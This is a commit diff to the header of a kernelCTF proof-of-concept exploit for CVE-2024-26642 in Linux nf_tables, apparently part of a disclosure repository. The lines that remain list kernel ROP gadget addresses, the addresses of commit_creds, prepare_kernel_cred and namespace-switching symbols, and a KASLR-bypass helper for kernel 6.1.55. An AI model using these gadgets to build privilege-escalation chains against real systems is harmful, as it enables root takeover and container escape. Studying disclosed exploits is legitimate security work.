Skip to content

Commit 9e85f30

Browse files
committed
Solve comments
1 parent 7c83074 commit 9e85f30

File tree

2 files changed

+0
-48
lines changed
  • pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55

2 files changed

+0
-48
lines changed
Binary file not shown.

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

-48
Original file line numberDiff line numberDiff line change
@@ -33,84 +33,42 @@ inline static int _pin_to_cpu(int id) {
3333
//
3434

3535
// ffffffff81e09097: push rdi; jmp qword ptr [rsi+0xf]; 4c57ff660f
36-
u64 push_rdi_jmp_rsi_0xf = 0xffffffff81e09097;
3736
#define PUSH_RDI_JMP_RSI_0XF 0xffffffff81e09097
3837
// ffffffff8126df29: pop rsp; add rsp, 0x20; pop rbx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5c4883c4205be94c6d1901c3
39-
u64 pop_rsp_add_rsp_0x20_pop_rbx = 0xffffffff8126df29;
4038
#define POP_RSP_ADD_RSP_0X20_POP_RBX_RET 0xffffffff8126df29
4139
// ffffffff81251258: pop rdx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ae9223a1b01c3
42-
u64 pop_rdx = 0xffffffff81251258;
4340
#define POP_RDX_RET 0xffffffff81251258
4441
// ffffffff818180b4: pop rbp; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5de9c6cbbe00c3
45-
u64 pop_rbp = 0xffffffff818180b4;
4642
#define POP_RBP_RET 0xffffffff818180b4
4743
// ffffffff8102871c: pop rcx; jmp __x86_return_thunk (0xffffffff82404c80); ret; 59e95ec53d01c3
48-
u64 pop_rcx = 0xffffffff8102871c;
4944
#define POP_RCX_RET 0xffffffff8102871c
5045
// ffffffff818344a5: push rax; jmp qword ptr [rcx]; 50ff21
51-
u64 push_rax_jmp_rcx = 0xffffffff818344a5;
5246
#define PUSH_RAX_JMP_RCX 0xffffffff818344a5
5347
// ffffffff81dadf48: pop rsp; jmp qword ptr [rsi+0xf]; 5cff660f
54-
u64 pop_rsp_jmp_rsi_0xf = 0xffffffff81dadf48;
5548
#define POP_RSP_JMP_RSI_0XF 0xffffffff81dadf48
5649
// ffffffff81bc9099: lea rax, [r12+rbp]; pop rbx; pop rbp; pop r12; pop r13; pop r14; jmp __x86_return_thunk (0xffffffff82404c80); ret; 498d042c5b5d415c415d415ee9d6bb8300c3
57-
u64 lea_rax_r12_plus_rbp_pop5 = 0xffffffff81bc9099;
5850
#define LEA_RAX_R12_PLUS_RBP_POP5_RET 0xffffffff81bc9099
5951
// ffffffff812f9168: pop rdi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5fe912bb1001c3
60-
u64 pop_rdi = 0xffffffff812f9168;
6152
#define POP_RDI_RET 0xffffffff812f9168
6253
// ffffffff8124f56d: 48 89 c7 mov %rax,%rdi
6354
// ffffffff8124f570: 48 89 3d d1 b9 23 03 mov %rdi,0x323b9d1(%rip) # ffffffff8448af48 <vmcoreinfo_data_safecopy>
6455
// ffffffff8124f577: e9 04 57 1b 01 jmp ffffffff82404c80 <__x86_return_thunk>
65-
u64 mov_rdi_rax = 0xffffffff8124f56d;
6656
#define MOV_RDI_RAX_RET 0xffffffff8124f56d
6757
// ffffffff81bd1748: pop rsi; jmp __x86_return_thunk (0xffffffff82404c80); ret; 5ee932358300c3
68-
u64 pop_rsi = 0xffffffff81bd1748;
6958
#define POP_RSI_RET 0xffffffff81bd1748
7059
// function trailer for nft_do_chain
71-
u64 nft_do_chain_leave = 0xffffffff81e517eb;
7260
#define NFT_DO_CHAIN_LEAVE 0xffffffff81e517eb
7361
// we use this for the fast path to copy some data from the skb into RSI
74-
u64 nft_payload_fast_ops = 0xffffffff82b27580;
7562
#define NFT_PAYLOAD_FAST_OPS 0xffffffff82b27580
76-
u64 find_task_by_vpid = 0xffffffff811bbe60;
7763
#define FIND_TASK_BY_VPID 0xffffffff811bbe60
78-
u64 switch_task_namespaces = 0xffffffff811c3a30;
7964
#define SWITCH_TASK_NAMESPACES 0xffffffff811c3a30
80-
u64 commit_creds = 0xffffffff811c55a0;
8165
#define COMMIT_CREDS 0xffffffff811c55a0
82-
u64 prepare_kernel_cred = 0xffffffff811c5840;
8366
#define PREPARE_KERNEL_CRED 0xffffffff811c5840
84-
u64 init_task = 0xffffffff83815a40;
8567
#define INIT_TASK 0xffffffff83815a40
86-
u64 init_nsproxy = 0xffffffff83876720;
8768
#define INIT_NSPROXY 0xffffffff83876720
8869
// ffffffff810ebbdd: add rsp, 0x88; jmp __x86_return_thunk (0xffffffff82404c80); ret; 4881c488000000e997903101c3
89-
u64 add_rsp_0x88 = 0xffffffff810ebbdd;
9070
#define ADD_RSP_0X88_RET 0xffffffff810ebbdd
9171

92-
#define FOR_ALL_OFFSETS(x) do { \
93-
x(push_rdi_jmp_rsi_0xf); \
94-
x(pop_rsp_add_rsp_0x20_pop_rbx); \
95-
x(pop_rdx); \
96-
x(pop_rbp); \
97-
x(pop_rcx); \
98-
x(push_rax_jmp_rcx); \
99-
x(pop_rsp_jmp_rsi_0xf); \
100-
x(lea_rax_r12_plus_rbp_pop5); \
101-
x(pop_rdi); \
102-
x(mov_rdi_rax); \
103-
x(pop_rsi); \
104-
x(add_rsp_0x88); \
105-
x(nft_do_chain_leave); \
106-
x(nft_payload_fast_ops); \
107-
x(find_task_by_vpid); \
108-
x(switch_task_namespaces); \
109-
x(commit_creds); \
110-
x(prepare_kernel_cred); \
111-
x(init_task); \
112-
x(init_nsproxy); \
113-
} while(0)
11472

11573
//
11674
//
@@ -678,12 +636,6 @@ int64_t bypass_kaslr(u64 base) {
678636
i64 off = base - 0xffffffff81000000;
679637
printf("kernel off: %lld\n", off);
680638

681-
//return off;
682-
i64 diff = 0xffffffff81000000- base;
683-
#define x(name) { name -= diff; printf("corrected %s to %llx\n", #name, name); }
684-
FOR_ALL_OFFSETS(x);
685-
#undef x
686-
687639
return off;
688640

689641
}

0 commit comments

Comments
 (0)